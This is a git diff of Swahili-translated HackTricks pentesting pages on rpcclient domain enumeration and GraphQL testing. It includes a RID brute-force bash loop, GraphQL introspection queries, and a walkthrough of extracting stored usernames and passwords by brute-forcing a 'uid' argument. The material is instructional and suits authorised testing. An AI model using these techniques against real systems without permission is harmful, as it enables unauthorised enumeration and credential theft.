* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,12 +22,12 @@
|
|||
|
||||
### Maelezo ya Vitambulisho vya Kihusiano (RID) na Vitambulisho vya Usalama (SID)
|
||||
|
||||
**Vitambulisho vya Kihusiano (RID)** na **Vitambulisho vya Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji wa Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, ndani ya kikoa cha mtandao.
|
||||
**Vitambulisho vya Kihusiano (RID)** na **Vitambulisho vya Usalama (SID)** ni sehemu muhimu katika mifumo ya uendeshaji ya Windows kwa kutambua na kusimamia vitu, kama vile watumiaji na vikundi, kwa njia ya kipekee ndani ya kikoa cha mtandao.
|
||||
|
||||
- **SIDs** hutumika kama vitambulisho vya kipekee kwa maeneo, kuhakikisha kuwa kila kikoa kinaweza kutofautishwa.
|
||||
- **RIDs** huongezwa kwenye SIDs ili kuunda vitambulisho vya kipekee kwa vitu ndani ya maeneo hayo. Kombinisheni hii inaruhusu ufuatiliaji sahihi na usimamizi wa ruhusa za vitu na udhibiti wa ufikiaji.
|
||||
- **SIDs** hutumika kama vitambulisho vya kipekee kwa maeneo, kuhakikisha kuwa kila uwanja unatofautishwa.
|
||||
- **RIDs** huongezwa kwa SIDs ili kuunda vitambulisho vya kipekee kwa vitu ndani ya maeneo hayo. Kombinisheni hii inaruhusu ufuatiliaji sahihi na usimamizi wa ruhusa za vitu na udhibiti wa ufikiaji.
|
||||
|
||||
Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho kipekee kinachochanganya SID ya kikoa na RID yake maalum, ikionyeshwa kwa muundo wa hexadecimal (`0x457`) na decimal (`1111`). Hii inapelekea kitambulisho kamili na kipekee kwa pepe ndani ya kikoa kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
Kwa mfano, mtumiaji anayeitwa `pepe` anaweza kuwa na kitambulisho cha kipekee kinachochanganya SID ya uwanja na RID yake maalum, ikionyeshwa kwa muundo wa hexadecimal (`0x457`) na decimal (`1111`). Hii inasababisha kitambulisho kamili na cha kipekee kwa pepe ndani ya uwanja kama: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Uchambuzi na rpcclient**
|
||||
|
@ -40,11 +40,11 @@ Zana ya **`rpcclient`** kutoka Samba hutumiwa kwa kuingiliana na **vituo vya RPC
|
|||
|
||||
#### Uchambuzi wa Watumiaji
|
||||
|
||||
* **Watumiaji wanaweza kuorodheshwa** kwa kutumia: `querydispinfo` na `enumdomusers`.
|
||||
* **Watumiaji wanaweza kuorodheshwa** kwa kutumia: amri za `querydispinfo` na `enumdomusers`.
|
||||
* **Maelezo ya mtumiaji** kwa: `queryuser <0xrid>`.
|
||||
* **Vikundi vya mtumiaji** kwa: `queryusergroups <0xrid>`.
|
||||
* **SID ya mtumiaji inapokelewa** kupitia: `lookupnames <jina la mtumiaji>`.
|
||||
* **Vidokezo vya watumiaji** kwa: `queryuseraliases [builtin|domain] <sid>`.
|
||||
* **SID ya mtumiaji inapata** kupitia: `lookupnames <jina la mtumiaji>`.
|
||||
* **Vilivyo mbadala vya watumiaji** kwa: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -64,11 +64,11 @@ done
|
|||
* **Vikundi vya kielezo** kwa: `enumalsgroups <builtin|domain>`.
|
||||
* **Wanachama wa kikundi cha kielezo** kwa: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Uchambuzi wa Miejenge
|
||||
#### Uchambuzi wa Miejeshi
|
||||
|
||||
* **Miejenge** kwa kutumia: `enumdomains`.
|
||||
* **SID ya miejenge inapata** kupitia: `lsaquery`.
|
||||
* **Maelezo ya miejenge yanapata** kwa: `querydominfo`.
|
||||
* **Miejeshi** kwa kutumia: `enumdomains`.
|
||||
* **SID ya miejeshi inapata** kupitia: `lsaquery`.
|
||||
* **Maelezo ya miejeshi yanapatikana** kwa: `querydominfo`.
|
||||
|
||||
#### Uchambuzi wa Hisa
|
||||
|
||||
|
@ -77,7 +77,7 @@ done
|
|||
|
||||
#### Operesheni Zaidi na SIDs
|
||||
|
||||
* **SIDs kwa jina** kwa kutumia: `lookupnames <username>`.
|
||||
* **SIDs kwa jina** kwa: `lookupnames <username>`.
|
||||
* **SIDs zaidi** kupitia: `lsaenumsid`.
|
||||
* **RID cycling kuchunguza SIDs zaidi** inatekelezwa kwa: `lookupsids <sid>`.
|
||||
|
||||
|
@ -87,23 +87,23 @@ done
|
|||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Pata maelezo ya mtumiaji |
|
||||
| querygroup | Pata maelezo ya kikundi | |
|
||||
| querydominfo | Pata maelezo ya miejenge | |
|
||||
| enumdomusers | Uorodhesha watumiaji wa miejenge | |
|
||||
| enumdomgroups | Uorodhesha vikundi vya miejenge | |
|
||||
| createdomuser | Unda mtumiaji wa miejenge | |
|
||||
| deletedomuser | Futa mtumiaji wa miejenge | |
|
||||
| querydominfo | Pata maelezo ya kikoa | |
|
||||
| enumdomusers | Uorodhesha watumiaji wa kikoa | |
|
||||
| enumdomgroups | Uorodhesha vikundi vya kikoa | |
|
||||
| createdomuser | Unda mtumiaji wa kikoa | |
|
||||
| deletedomuser | Futa mtumiaji wa kikoa | |
|
||||
| lookupnames | LSARPC | Tafuta majina ya watumiaji hadi SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) thamani |
|
||||
| lookupsids | Tafuta SIDs hadi majina ya watumiaji (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | |
|
||||
| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | |
|
||||
| lsaremoveacctrights | Ondoa haki kutoka kwa akaunti ya mtumiaji | |
|
||||
| dsroledominfo | LSARPC-DS | Pata maelezo ya msingi ya miejenge |
|
||||
| dsenumdomtrusts | Uorodhesha miejenge ya kuaminiwa ndani ya msitu wa AD | |
|
||||
| lsaaddacctrights | Ongeza haki kwa akaunti ya mtumiaji | |
|
||||
| lsaremoveacctrights | Ondoa haki kutoka kwa akaunti ya mtumiaji | |
|
||||
| dsroledominfo | LSARPC-DS | Pata maelezo ya msingi ya kikoa |
|
||||
| dsenumdomtrusts | Uorodhesha vikoa vinavyoaminika ndani ya msitu wa AD | |
|
||||
|
||||
Kuelewa vizuri jinsi zana za _**samrdump**_ **na** _**rpcdump**_ zinafanya kazi unapaswa kusoma [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -111,7 +111,7 @@ Kuelewa vizuri jinsi zana za _**samrdump**_ **na** _**rpcdump**_ zinafanya kazi
|
|||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -6,58 +6,58 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Utangulizi
|
||||
|
||||
GraphQL **inasisitizwa** kama **mbadala yenye ufanisi** kwa API ya REST, ikitoa njia rahisi ya kuuliza data kutoka kwa seva ya nyuma. Tofauti na REST, ambayo mara nyingi inahitaji maombi mengi kwenye vituo tofauti ili kukusanya data, GraphQL inawezesha kupata habari zote zinazohitajika kupitia **ombi moja**. Hii inasaidia sana wabunifu kwa kupunguza ugumu wa mchakato wao wa kupata data.
|
||||
GraphQL inaonekana kama **mbadala ufanisi** wa REST API, ikitoa njia iliyorahisishwa ya kuuliza data kutoka kwa seva ya nyuma. Tofauti na REST, ambayo mara nyingi inahitaji maombi mengi kote kwenye vituo tofauti kukusanya data, GraphQL inawezesha kupata habari zote inayohitajika kupitia **ombi moja**. Hii inasaidia sana **wabunifu** kwa kupunguza ugumu wa mchakato wao wa kupata data.
|
||||
|
||||
## GraphQL na Usalama
|
||||
|
||||
Na kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, pia kuna uwazi mpya wa usalama. Jambo muhimu kuzingatia ni kwamba **GraphQL hauna njia za uwakilishi kwa chaguo-msingi**. Ni jukumu la wabunifu kuweka hatua za usalama kama hizo. Bila uwakilishi sahihi, vituo vya GraphQL vinaweza kufichua habari nyeti kwa watumiaji wasiothibitishwa, na hivyo kuwa na hatari kubwa ya usalama.
|
||||
Na kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, mapungufu mapya ya usalama pia hutokea. Jambo muhimu la kuzingatia ni kwamba **GraphQL haitoi njia za uthibitisho kwa chaguo-msingi**. Ni jukumu la wabunifu kutekeleza hatua za usalama kama hizo. Bila uthibitisho sahihi, vituo vya GraphQL vinaweza kufunua habari nyeti kwa watumiaji wasiothibitishwa, ikileta hatari kubwa ya usalama.
|
||||
|
||||
### Mashambulizi ya Directory Brute Force na GraphQL
|
||||
### Mashambulizi ya Nguvu ya Direktori na GraphQL
|
||||
|
||||
Ili kutambua vituo vya GraphQL vilivyofichuliwa, ni vyema kuongeza njia maalum katika mashambulizi ya directory brute force. Njia hizi ni:
|
||||
Ili kutambua mifano ya GraphQL iliyofunuliwa, ni vyema kujumuisha njia maalum katika mashambulizi ya nguvu ya direktori. Njia hizi ni:
|
||||
|
||||
- `/graphql`
|
||||
- `/graphiql`
|
||||
- `/graphql.php`
|
||||
- `/graphql/console`
|
||||
- `/api`
|
||||
- `/api/graphql`
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
* `/graphql`
|
||||
* `/graphiql`
|
||||
* `/graphql.php`
|
||||
* `/graphql/console`
|
||||
* `/api`
|
||||
* `/api/graphql`
|
||||
* `/graphql/api`
|
||||
* `/graphql/graphql`
|
||||
|
||||
Kutambua vituo vya GraphQL vilivyofunguliwa kunaruhusu uchunguzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia kituo cha mwisho. Mfumo wa utambuzi wa GraphQL unawezesha hili kwa kutoa maelezo ya maswali ambayo muundo unaweza kusaidia. Kwa habari zaidi kuhusu hili, tazama nyaraka za GraphQL kuhusu utambuzi: [**GraphQL: Lugha ya maswali kwa APIs.**](https://graphql.org/learn/introspection/)
|
||||
Kutambua mifano ya GraphQL iliyofunguliwa inaruhusu uchunguzi wa maswali yanayoungwa mkono. Hii ni muhimu kwa kuelewa data inayopatikana kupitia kituo cha mwisho. Mfumo wa uchunguzi wa GraphQL unawezesha hili kwa kuelezea maswali ambayo mpango wa data unauunga mkono. Kwa habari zaidi kuhusu hili, tazama nyaraka za GraphQL kuhusu uchunguzi: [**GraphQL: Lugha ya kuuliza kwa APIs.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Alama ya Vidole
|
||||
|
||||
Zana ya [**graphw00f**](https://github.com/dolevf/graphw00f) inaweza kutambua injini ya GraphQL inayotumiwa kwenye seva na kisha kuchapisha habari muhimu kwa mkaguzi wa usalama.
|
||||
Zana [**graphw00f**](https://github.com/dolevf/graphw00f) inaweza kugundua ni injini gani ya GraphQL inayotumiwa kwenye seva na kisha kuchapisha habari muhimu kwa mkaguzi wa usalama.
|
||||
|
||||
#### Maswali ya Ulimwenguni <a href="#maswali-ya-ulimwenguni" id="maswali-ya-ulimwenguni"></a>
|
||||
#### Maswali ya Ulimwenguni <a href="#maswali-ya-ulimwengu" id="maswali-ya-ulimwengu"></a>
|
||||
|
||||
Ili kuthibitisha ikiwa URL ni huduma ya GraphQL, **swali la ulimwenguni**, `query{__typename}`, linaweza kutumwa. Ikiwa jibu linaleta `{"data": {"__typename": "Query"}}`, inathibitisha kuwa URL ina kituo cha GraphQL. Njia hii inategemea uwanja wa `__typename` wa GraphQL, ambao unaonyesha aina ya kitu kinachoulizwa.
|
||||
Ili kuthibitisha ikiwa URL ni huduma ya GraphQL, **swali la ulimwengu**, `query{__typename}`, linaweza kutumwa. Ikiwa jibu lina jumuisha `{"data": {"__typename": "Query"}}`, inathibitisha kuwa URL ina kituo cha GraphQL. Mbinu hii inategemea uwanja wa `__typename` wa GraphQL, ambao unafunua aina ya kitu kilichoulizwa.
|
||||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
### Uchunguzi wa Msingi
|
||||
### Uchambuzi wa Msingi
|
||||
|
||||
Kawaida, Graphql inasaidia **GET**, **POST** (x-www-form-urlencoded) na **POST**(json). Ingawa kwa usalama inashauriwa kuruhusu tu json ili kuzuia mashambulizi ya CSRF.
|
||||
Graphql kawaida inasaidia **GET**, **POST** (x-www-form-urlencoded) na **POST**(json). Ingawa kwa usalama inapendekezwa kuruhusu tu json ili kuzuia mashambulizi ya CSRF.
|
||||
|
||||
#### Uchunguzi wa Ndani
|
||||
|
||||
Ili kutumia uchunguzi wa ndani ili kugundua habari za muundo, tafuta uwanja wa `__schema`. Uwanja huu upo kwenye aina ya msingi ya maswali yote.
|
||||
Kutumia uchunguzi wa ndani kugundua habari za muundo, uliza uga wa `__schema`. Uga huu upatikana kwenye aina ya msingi ya maswali yote.
|
||||
```bash
|
||||
query={__schema{types{name,fields{name}}}}
|
||||
```
|
||||
Kwa kutumia swali hili utapata jina la aina zote zinazotumiwa:
|
||||
Kwa swali hili utapata jina la aina zote zinazotumiwa:
|
||||
|
||||
![](<../../.gitbook/assets/image (202).png>)
|
||||
|
||||
|
@ -67,24 +67,22 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kwa kutumia swali hili, unaweza kuchambua aina zote, shamba zake, na hoja zake (na aina ya hoja). Hii itakuwa muhimu sana kujua jinsi ya kuuliza habari kutoka kwenye database.
|
||||
Kwa swali hili unaweza kuchimba aina zote, uga wake, na hoja zake (na aina ya hoja). Hii itakuwa muhimu sana kujua jinsi ya kuuliza database.
|
||||
|
||||
![](<../../.gitbook/assets/image (207) (3).png>)
|
||||
|
||||
**Makosa**
|
||||
|
||||
Ni muhimu kujua ikiwa **makosa** yataonyeshwa kwani yatasaidia kutoa **habari muhimu**.
|
||||
Ni muhimu kujua ikiwa **makosa** yataonyeshwa kwani yatachangia na **habari** muhimu.
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
?query={thisdefinitelydoesnotexist}
|
||||
```
|
||||
![](<../../.gitbook/assets/image (205) (1).png>)
|
||||
|
||||
**Tambua Mpangilio wa Database kupitia Introspection**
|
||||
**Kuorodhesha Muundo wa Hifadhidata kupitia Uchunguzi**
|
||||
|
||||
{% hint style="info" %}
|
||||
Ikiwa introspection imeamilishwa lakini swali hapo juu halifanyi kazi, jaribu kuondoa maagizo ya `onOperation`, `onFragment`, na `onField` kutoka kwa muundo wa swali.
|
||||
Ikiwa uchunguzi umewezeshwa lakini swali lililopita halifanyi kazi, jaribu kuondoa maelekezo ya `onOperation`, `onFragment`, na `onField` kutoka kwa muundo wa swali.
|
||||
{% endhint %}
|
||||
```bash
|
||||
#Full introspection query
|
||||
|
@ -175,74 +173,74 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
Ombi la uchunguzi wa ndani ya mstari:
|
||||
Ombi la uchunguzi wa moja kwa moja:
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
Mstari wa mwisho wa nambari ni ombi la graphql ambalo litatoa habari zote za meta kutoka kwa graphql (majina ya vitu, parameta, aina ...)
|
||||
Mstari wa mwisho wa nambari ni ombi la graphql ambalo litadump habari zote za meta kutoka kwa graphql (majina ya vitu, paramita, aina...)
|
||||
|
||||
![](<../../.gitbook/assets/image (206).png>)
|
||||
|
||||
Ikiwa introspection imeamilishwa, unaweza kutumia [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kuona kwa GUI chaguo zote.
|
||||
Ikiwa uchunguzi wa ndani umewezeshwa unaweza kutumia [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kuona kwa GUI chaguo zote.
|
||||
|
||||
### Kuuliza
|
||||
|
||||
Sasa tukijua aina gani ya habari imehifadhiwa ndani ya database, jaribu **kuchukua baadhi ya thamani**.
|
||||
Sasa tukijua aina gani ya habari imehifadhiwa ndani ya database, jaribu **kutoa baadhi ya thamani**.
|
||||
|
||||
Katika introspection unaweza kupata **kitu gani unaweza kuuliza moja kwa moja** (kwa sababu huwezi kuuliza kitu tu kwa sababu kipo). Katika picha ifuatayo unaweza kuona kuwa "_queryType_" inaitwa "_Query_" na moja ya uga wa kitu cha "_Query_" ni "_flags_", ambayo pia ni aina ya kitu. Kwa hivyo unaweza kuuliza kitu cha bendera.
|
||||
Katika uchunguzi wa ndani unaweza kupata **kitu gani unaweza kuuliza moja kwa moja** (kwa sababu huwezi kuuliza kitu tu kwa sababu kipo). Katika picha ifuatayo unaweza kuona kwamba "_queryType_" inaitwa "_Query_" na kwamba moja ya uga wa kitu cha "_Query_" ni "_flags_", ambayo pia ni aina ya kitu. Kwa hivyo unaweza kuuliza kitu cha bendera.
|
||||
|
||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
|
||||
|
||||
Tambua kuwa aina ya ombi "_flags_" ni "_Flags_", na kitu hiki kimefafanuliwa kama ifuatavyo:
|
||||
Tambua kwamba aina ya ombi "_flags_" ni "_Flags_", na kitu hiki kimefafanuliwa kama ifuatavyo:
|
||||
|
||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
|
||||
|
||||
Unaweza kuona kuwa vitu vya "_Flags_" vinaundwa na **jina** na .**thamani** Kisha unaweza kupata majina yote na thamani za bendera na ombi hili:
|
||||
Unaweza kuona kwamba vitu vya "_Flags_" vinajumuisha **jina** na **thamani**. Kisha unaweza kupata majina yote na thamani za bendera kwa ombi:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
Tafadhali kumbuka kuwa ikiwa **kitu cha kuuliza** ni **aina ya msingi** kama **herufi** kama ilivyo katika mfano ufuatao
|
||||
Tafadhali kumbuka kwamba katika kesi **object to query** ni **primitive** **type** kama **string** kama katika mfano ufuatao
|
||||
|
||||
![](<../../.gitbook/assets/image (441).png>)
|
||||
|
||||
Unaweza tu kuuliza kwa:
|
||||
Unaweza kuuliza tu na:
|
||||
```javascript
|
||||
query={hiddenFlags}
|
||||
```
|
||||
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya kitu cha aina "_Query_": "_user_" na "_users_".\
|
||||
Ikiwa vitu hivi havihitaji hoja yoyote ya utafutaji, unaweza **kupata habari zote kutoka kwao** kwa tu **kuomba** data unayotaka. Katika mfano huu kutoka kwenye mtandao, unaweza kuchukua majina ya watumiaji na nywila zilizohifadhiwa:
|
||||
Ikiwa vitu hivi havihitaji hoja yoyote ya kutafuta, unaweza **kupata taarifa zote kutoka kwao** kwa tu **kuuliza** data unayotaka. Katika mfano huu kutoka kwenye Mtandao unaweza kuchimbua majina ya watumiaji na nywila zilizohifadhiwa:
|
||||
|
||||
![](<../../.gitbook/assets/image (208).png>)
|
||||
|
||||
Hata hivyo, katika mfano huu ikiwa unajaribu kufanya hivyo utapata **kosa** hili:
|
||||
Hata hivyo, katika mfano huu ukijaribu kufanya hivyo utapata **kosa** hili:
|
||||
|
||||
![](<../../.gitbook/assets/image (210).png>)
|
||||
|
||||
Inaonekana kwa njia fulani itatafuta kwa kutumia hoja ya "_**uid**_" ya aina _**Int**_.\
|
||||
Hata hivyo, tayari tulijua hilo, katika sehemu ya [Uchunguzi wa Msingi](graphql.md#basic-enumeration) ilipendekezwa hoja ambayo ilikuwa inatuonyesha habari zote zinazohitajika: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
Inaonekana kwa namna fulani itatafuta kutumia hoja ya "_**uid**_" ya aina _**Int**_.\
|
||||
Hata hivyo, tayari tulijua kwamba, katika sehemu ya [Uchambuzi wa Msingi](graphql.md#basic-enumeration) ilipendekezwa hoja iliyokuwa ikituonyesha taarifa zote zinazohitajika: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Ikiwa unasoma picha iliyotolewa wakati ninaendesha hoja hiyo utaona kuwa "_**user**_" alikuwa na **arg** "_**uid**_" ya aina _Int_.
|
||||
Ukisoma picha iliyotolewa wakati ninaendesha hoja hiyo utaona kwamba "_**user**_" alikuwa na **arg** "_**uid**_" ya aina _Int_.
|
||||
|
||||
Kwa hiyo, kwa kufanya jaribio dogo la _**uid**_ bruteforce niligundua kuwa katika _**uid**=**1**_ jina la mtumiaji na nywila zilipatikana:\
|
||||
